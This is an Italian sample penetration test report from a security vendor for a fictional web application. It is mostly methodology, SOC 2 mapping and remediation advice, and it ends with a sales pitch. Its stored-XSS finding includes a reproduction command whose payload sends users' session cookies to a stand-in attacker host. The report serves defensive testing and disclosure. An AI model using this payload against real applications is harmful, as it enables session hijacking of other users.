Report Penetration Test

Progetto di esempio | Example Co. (Applicazione Web)

CLIENTE	Example Co. (esempio)
TIPO DI PROGETTO	Penetration test autorizzato in modalita black-box e grey-box
SCOPE	Applicazione web, percorsi autenticati e non autenticati
TESTER	Scalarly Security
DATA REPORT	May 2026
VERSIONE REPORT	1.0 | Esempio
CLASSIFICAZIONE	Confidenziale | Solo per il destinatario

INFORMAZIONI SU QUESTO DOCUMENTO

Questo e un esempio del report completo che Scalarly consegna quando un cliente sblocca il tier a pagamento del free-pentest. Il contenuto e illustrativo. Il finding usa un esempio OWASP da manuale di stored-XSS; la metodologia e il mapping SOC 2 rispecchiano quello che consegniamo nei progetti reali. Prezzi, nomi e riferimenti all'infrastruttura sono inventati.

Sommario esecutivo

Scalarly ha eseguito un penetration test autorizzato sull'applicazione web di Example Co. in una finestra di 10 giorni. Il testing ha coperto la superficie utente autenticata, la superficie marketing pubblica e l'API tier che le supporta. Sono stati confermati un finding Critical e due High. Tutti i findings hanno ricette di riproduzione e indicazioni di remediation nell'appendice.

Conteggio per severita

CRITICAL	HIGH	MEDIUM	LOW	INFO
1	2	4	6	3

Il finding Critical permette a un utente autenticato di iniettare JavaScript persistente in una superficie commenti condivisa, portando al furto di sessione per ogni viewer del thread, inclusi gli amministratori. Abbiamo notificato il lead engineering entro quattro ore dalla conferma.

Ordine di priorita consigliato

- Patch del finding stored-XSS (SP-001) prima di ogni nuovo rilascio.
- Risolvere il finding broken-access-control (SP-002) nello stesso sprint.
- Pianificare l'hardening del rate-limit (SP-003) nello sprint successivo.

Scope e metodologia

Il testing e stato eseguito sotto autorizzazione firmata tra Scalarly ed Example Co., datata il primo giorno della finestra di engagement. L'autorizzazione ha definito gli asset in-scope e out-of-scope, il tetto massimo di richieste e le regole per il testing non-distruttivo.

In scope

- https://app.example.com (superficie utente autenticata, tutti i ruoli)
- https://api.example.com (REST API, v1 e v2)
- https://www.example.com (superficie marketing, inclusi gli endpoint dei form)

Out of scope

- Dipendenze SaaS di terze parti (pagamenti, email, analytics).
- Testing di denial-of-service. Tetto al rate fissato a 10 richieste al secondo per host.
- Ingegneria sociale e accesso fisico.

Metodologia

La coverage e mappata sull'OWASP Web Security Testing Guide (WSTG). Ogni superficie in-scope e stata esercitata contro le sezioni WSTG per input validation, authentication, authorization, session management, error handling, cryptography, configuration e identity management. Le probe automatizzate hanno confermato l'enumerazione della superficie; l'exploitation manuale ha confermato l'impatto.

Finding SP-001 | Stored XSS nel renderer dei commenti

CRITICAL CVSS 9.0 CWE-79

ENDPOINT	POST /api/v1/comments	renderizzato a /app/threads/{id}
RUOLI INTERESSATI	Ogni utente autenticato con permesso di scrittura commenti
DATA DI SCOPERTA	2026-05-26

Descrizione

Il renderer dei commenti tratta come HTML il campo body quando viene mostrato dentro la vista del thread. Qualunque utente autenticato puo inviare un payload che esegue JavaScript nel browser di ogni viewer successivo del thread, inclusi gli amministratori. Combinato con il fatto che il cookie di sessione e leggibile da JavaScript, questo escalation trivialmente al furto di sessione.

Riproduzione

```
curl -X POST https://app.example.com/api/v1/comments \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
                              -d               '{"thread_id":42,"body":"<img              src=x
onerror=fetch(\"https://attacker.tld/?c=\"+document.cookie)>"}'
```

Poi aprire /app/threads/42 come qualunque utente con permesso di lettura. Il payload parte e esfiltra il cookie di sessione a attacker.tld.

Blast radius

- Ogni viewer del thread interessato viene compromesso al render.
- Le sessioni admin sono rubabili perche il cookie non e HttpOnly.
- Persistito in database, quindi l'exploit sopravvive ai deploy fino alla rimozione.

Remediation

Sanitizzare i body dei commenti al render, non in scrittura. Trattare il campo body come non fidato a ogni boundary di render. Usare un sanitizer mantenuto invece di una allow-list fatta a mano.

```
// React render path
import DOMPurify from "dompurify";

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(comment.body) }} />

// Defense in depth: set the session cookie HttpOnly and SameSite=Lax
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
```

Verifica

Dopo la remediation, ri-inviare il payload di proof-of-concept e confermare che venga renderizzato come testo inerte. Il re-test incluso esegue questa verifica contro staging e produzione.

Appendice A | Mapping ai controlli SOC 2

Il mapping qui sotto collega ogni finding ai criteri SOC 2 toccati. Gli auditor possono usare questa sezione come evidenza che l'applicazione e stata testata per gli specifici controlli oggetto di attestazione.

Finding	Controllo SOC 2	Trust criterion	Stato
SP-001	CC7.1	Completezza dei log e resistenza alla manomissione	Aperto
SP-002	CC6.1	Controlli di accesso logico	Aperto
SP-003	CC4.1	Monitoring e alerting	Aperto
SP-004	CC7.4	Prontezza nell'incident response	Aperto
SP-005	CC6.7	Restrizione dell'accesso al sistema	Riconosciuto

Coverage OWASP WSTG

- WSTG-INPV: input validation testato su 14 endpoint.
- WSTG-ATHN, WSTG-ATHZ: authentication e authorization testate su 6 ruoli.
- WSTG-SESS: session management rivisto inclusi attributi cookie e rotazione.
- WSTG-ERRH, WSTG-CRYP: error handling e configurazione crittografica riviste.
- WSTG-CONF, WSTG-IDNT: configurazione e superficie di identita enumerate.

Appendice B | Prossimi passi

Una volta che il team engineering ha risolto i findings aperti, Scalarly esegue un re-test delle superfici interessate senza costo aggiuntivo entro 60 giorni dalla consegna del report. Il re-test produce un'attestazione di follow-up adatta a procurement e audit package.

Per coverage OSINT su credenziali trapelate, asset cloud esposti e repository di codice pubblici, vedi l'add-on OSINT a scalarly.com/pentest.

RICHIEDI UN PENTEST GRATUITO

Eseguiamo il test senza costi e condividiamo il conteggio per severita. Se vuoi il report completo con ricette di riproduzione, indicazioni di remediation ed evidenze SOC 2, lo sblocchi a un prezzo fisso definito prima di iniziare. Richiedi una call di scoping a scalarly.com/pentest.